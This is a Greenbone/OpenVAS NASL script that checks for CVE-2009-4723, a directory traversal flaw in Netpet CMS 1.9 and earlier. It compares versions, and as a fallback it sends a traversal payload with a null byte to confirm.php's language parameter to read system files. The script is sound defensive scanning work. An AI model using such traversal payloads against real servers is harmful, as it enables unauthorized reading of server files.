Netpet CMS <= 1.9 Directory Traversal Vulnerability

# Copyright (C) 2010 Greenbone Networks GmbH
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-or-later
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.

CPE = "cpe:/a:netpet:netpet_cms";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.902024");
  script_version("2021-09-01T09:31:49+0000");
  script_cve_id("CVE-2009-4723");
  script_tag(name:"last_modification", value:"2021-09-01 09:31:49 +0000 (Wed, 01 Sep 2021)");
  script_tag(name:"creation_date", value:"2010-03-23 15:59:14 +0100 (Tue, 23 Mar 2010)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_name("Netpet CMS <= 1.9 Directory Traversal Vulnerability");
  script_copyright("Copyright (C) 2010 Greenbone Networks GmbH");
  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_dependencies("secpod_netpet_cms_detect.nasl", "os_detection.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("netpetcms/detected");

  script_xref(name:"URL", value:"http://www.milw0rm.com/exploits/9333");
  script_xref(name:"URL", value:"http://www.vupen.com/english/advisories/2009/2125");

  script_tag(name:"impact", value:"Successful exploitation could allow the attackers to include or
   disclose the contents of local files with the privileges of the web server.");

  script_tag(name:"affected", value:"Netpet CMS version 1.9 and prior.");

  script_tag(name:"insight", value:"The flaw is due to input validation error in the 'confirm.php'
  script when processing the 'language' parameter.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore. General
  solution options are to upgrade to a newer release, disable respective features, remove the
  product or replace the product by another one.");

  script_tag(name:"summary", value:"Netpet CMS is prone to a directory traversal vulnerability.");

  script_tag(name:"qod_type", value:"remote_banner");
  script_tag(name:"solution_type", value:"WillNotFix");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");
include("os_func.inc");
include("version_func.inc");
include("misc_func.inc");

if( ! port = get_app_port( cpe:CPE, service:"www" ) )
  exit( 0 );

if( ! infos = get_app_version_and_location( cpe:CPE, port:port, exit_no_version:FALSE ) )
  exit( 0 );

vers = infos["version"];
dir = infos["location"];

if( vers && vers != "unknown" ) {
  if( version_is_less_equal( version:vers, test_version:"1.9" ) ) {
    report = report_fixed_ver( installed_version:vers, fixed_version:"None", install_path:dir );
    security_message( port:port, data:report );
    exit( 0 );
  }
  exit( 99 );
} else {

  if( ! dir )
    exit( 0 );

  if( dir == "/" )
    dir = "";

  files = traversal_files();

  foreach pattern( keys( files ) ) {

    file = files[pattern];
    url = dir + "/confirm.php?language=../../../../../../../" + file + "%00";

    if( http_vuln_check( port:port, url:url, pattern:pattern ) ) {
      report = http_report_vuln_url( port:port, url:url );
      security_message( port:port, data:report );
      exit( 0 );
    }
  }
}

exit( 99 );